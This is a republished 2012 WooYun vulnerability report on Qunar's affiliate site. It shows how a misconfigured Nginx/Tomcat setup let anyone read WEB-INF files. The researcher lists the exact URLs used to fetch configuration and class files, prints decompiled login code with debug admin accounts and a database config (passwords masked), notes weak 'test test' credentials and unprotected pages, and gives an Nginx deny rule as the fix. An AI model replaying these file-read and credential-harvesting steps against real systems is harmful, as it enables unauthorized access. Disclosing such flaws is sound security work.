去哪儿任意文件读取(基本可重构该系统原工程)
编号
7329
Url
http://www.wooyun.org/bug.php?action=view&id=7329
漏洞状态
厂商已经确认
漏洞标题
去哪儿任意文件读取(基本可重构该系统原工程)
漏洞类型
系统/服务运维配置不当
厂商
去哪儿
白帽子
shine
提交日期
2012-05-19 22:09:00
公开日期
2012-07-03 22:10:00
修复时间
(not set)
确认时间
2012-05-19 00:00:00
Confirm Spend
0
漏洞标签
j2ee 安全管理不到位 弱口令 渗透测试思路 j2ee安全
关注数
0
收藏数
0
白帽评级
高
白帽自评rank
12
厂商评级
高
厂商评rank
15
漏洞简介
配置失误导致任意文件读取(除了web容器能解析的脚本文件类型!)。
状态信息
2012-05-19: 细节已通知厂商并且等待厂商处理中
2012-05-19: 厂商已经确认,细节仅向厂商公开
2012-05-29: 细节向核心白帽子及相关领域专家公开
2012-06-08: 细节向普通白帽子公开
2012-06-18: 细节向实习白帽子公开
2012-07-03: 细节向公众公开
厂商回复
非常感谢,我们会尽快处理。
回应信息
危害等级:高漏洞Rank:15 确认时间:2012-05-19 22:26
漏洞细节:看这个漏洞(以后不要忽视小问题哦!): WooYun: 去哪儿网某分站SVN信息泄露 (核心的优势体现出来了!^-^)
(@xsser 这样不算是重复提交同一个问题吧?也算是发现新危害了(每个人的认识是不一样的),十天了漏洞还未修复。)
可读取到WEB-INF目录下文件,那么这个系统结构基本就明朗了(同时分层结构的缺点也体现出来了!)
先读取Tomcat容器的web.xml(因为你们网站web服务器架构基本都是Nginx + Tomcat),以便了解应用框架类型及结构:
http://affiliate.qunar.com/affiliate/WEB-INF/web.xml
里面一共有两个struts1的配置文件:
/WEB-INF/struts-config.xml,/WEB-INF/struts-front-config.xml
一个是管理应用的配置文件;另一个用户应用的配置文件
只看管理应用的配置文件:struts-config.xml,这样我们就可以遍历所有的class文件了,找到登录Action的class文件(所以重构这个小应用系统就轻松加愉快了!
Action(反编译)、DTO(配置文件中字段及反编译dto类均可获得,)、DAO(不喜欢用hibernate,可自己写jdbc)整个工程就出来了!哈哈!
):
http://affiliate.qunar.com/affiliate/WEB-INF/struts-config.xml
下载该类文件并反编译:
http://affiliate.qunar.com/affiliate/WEB-INF/classes/com/qunar/affiliate/actions/LogonAction.class
package com.qunar.affiliate.actions;
import com.qunar.affiliate.controller.UserController;
import com.qunar.affiliate.model.User;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.action.DynaActionForm;
public class LogonAction extends Action
{
static final String logon_user = "affiliate_user";
public ActionForward execute(ActionMapping arg0, ActionForm arg1, HttpServletRequest arg2, HttpServletResponse arg3)
throws Exception
{
DynaActionForm aform = (DynaActionForm)arg1;
UserController uc = new UserController();
User user = uc.validateUser(aform.getString("name"), aform.getString("password"));
if (user != null)
{
arg2.getSession().setAttribute("affiliate_user", user);
return arg0.findForward("success");
}
return arg0.findForward("failed");
}
}
然后,找到UserController这个类文件并反编译,得到了惊喜:
package com.qunar.affiliate.controller;
import com.qunar.affiliate.model.User;
import com.qunar.affiliate.util.Encrypt;
import com.qunar.affiliate.util.HibernateUtil;
import org.apache.log4j.Logger;
import org.hibernate.Criteria;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.classic.Session;
import org.hibernate.criterion.Example;
public class UserController
{
static Logger logger = Logger.getLogger(UserController.class);
public static void main(String[] args)
{
UserController controller = new UserController();
if (args[0].equals("store")) {
controller.createAndStoreUser("jingyi.zhang", "密码隐藏");
}
else if (args[0].equals("list"))
{
User localUser = controller.validateUser("qiang.zhou", "密码隐藏");
}
}
public User createAndStoreUser(String name, String password)
{
Session session = null;
try {
session = HibernateUtil.getSessionFactory().openSession();
session.beginTransaction();
User user = new User();
user.setName(name);
user.setHashed_password(Encrypt.change("SHA", password));
session.save(user);
session.getTransaction().commit();
User localUser1 = user;
return localUser1;
}
finally {
if (session != null) try { session.close(); } catch (Throwable t) { logger.error("UserController close session failed!", t); }
}
throw localObject;
}
public User validateUser(String name, String password) {
Session session = null;
try {
session = HibernateUtil.getSessionFactory().openSession();
session.beginTransaction();
User user = new User();
user.setName(name);
user.setHashed_password(Encrypt.change("SHA", password));
User vu = (User)session.createCriteria(User.class).add(Example.create(user)).uniqueResult();
session.getTransaction().commit();
User localUser1 = vu;
return localUser1;
}
finally {
if (session != null) try { session.close(); } catch (Throwable t) { logger.error("UserController close session failed!", t); }
}
throw localObject;
}
}
调试用的两个管理员帐号都在里面,未去掉!
进入去哪儿联盟推广管理页面,只看图,危害自己看:
http://affiliate.qunar.com/affiliate/logon.jsp
(这要是拿去挂点什么就挣了!开个玩笑!)
我们继续!
同时又发现了这行代码,数据层用的是hibernate框架:
session = HibernateUtil.getSessionFactory().openSession();
那数据库配置就暴露了,根据通常hibernate配置文件位置习惯找到了它:
http://affiliate.qunar.com/affiliate/WEB-INF/classes/hibernate.cfg.xml
<hibernate-configuration>
<session-factory>
<!-- Database connection settings -->
<property name="connection.driver_class">com.mysql.jdbc.Driver</property>
<property name="connection.url">jdbc:mysql://l-aff2.隐藏.隐藏.qunar.com/affiliate?characterEncoding=utf-8</property>
<property name="connection.username">affiliate_new</property>
<property name="connection.password">密码隐藏</property>
<!-- JDBC connection pool (use the built-in) -->
<!--<property name="connection.pool_size">10</property>-->
<!-- hibernate c3p0 -->
<property name="hibernate.connection.provider_class">org.hibernate.connection.C3P0ConnectionProvider</property>
<property name="hibernate.c3p0.max_size">10</property>
<property name="hibernate.c3p0.min_size">2</property>
<property name="hibernate.c3p0.timeout">1800</property>
<property name="hibernate.c3p0.max_statements">100</property><property name="hibernate.c3p0.idle_test_period">3000</property><property name="hibernate.c3p0.acquire_increment">2</property>
<!-- SQL dialect -->
<property name="dialect">org.hibernate.dialect.MySQLDialect</property>
<!-- Enable Hibernate's automatic session context management -->
<property name="current_session_context_class">thread</property>
<!-- Disable the second-level cache -->
<property name="cache.provider_class">org.hibernate.cache.NoCacheProvider</property>
<!-- Echo all executed SQL to stdout -->
<property name="show_sql">true</property>
<!-- Drop and re-create the database schema on startup -->
<!--<property name="hbm2ddl.auto">create</property>-->
<mapping resource="com/qunar/affiliate/model/user.hbm.xml"/>
</session-factory>
</hibernate-configuration>
不过数据连接域名指向的是内网,让哥失望了:
没什么技巧,不了解j2ee体系的可以普及一下!
POC:另外,附带几处小问题:
1、页面访问权限控制问题
http://u.qunar.com/left.jsp
http://u.qunar.com/direct/regUnion.jsp
2、又一处test站长弱口令:
test test
3、一处js回调时xss
修复方案:最好不要映射非静态文件目录或敏感目录。或通过Nginx配置禁止访问一些敏感目录,如:j2ee应用的WEB-INF目录
location ~ ^/WEB-INF/* { deny all; }
或者至少禁止Nginx接收访问一些j2ee常用后缀文件的URL以减少危害,如:
.xml
.class
等文件类型
注意一些外层web服务器的相关配置!
文章来源:逝去的乌云 http://www.wooyun.org/bug.php?action=view&id=7329
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏